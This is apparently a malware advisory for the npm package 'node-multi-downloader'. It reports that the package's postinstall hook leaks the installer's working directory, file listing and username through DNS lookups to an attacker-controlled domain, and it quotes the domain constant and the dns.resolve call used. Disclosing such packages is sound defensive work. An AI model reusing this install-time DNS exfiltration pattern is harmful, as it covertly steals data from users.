node-multi-downloadernpm

On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.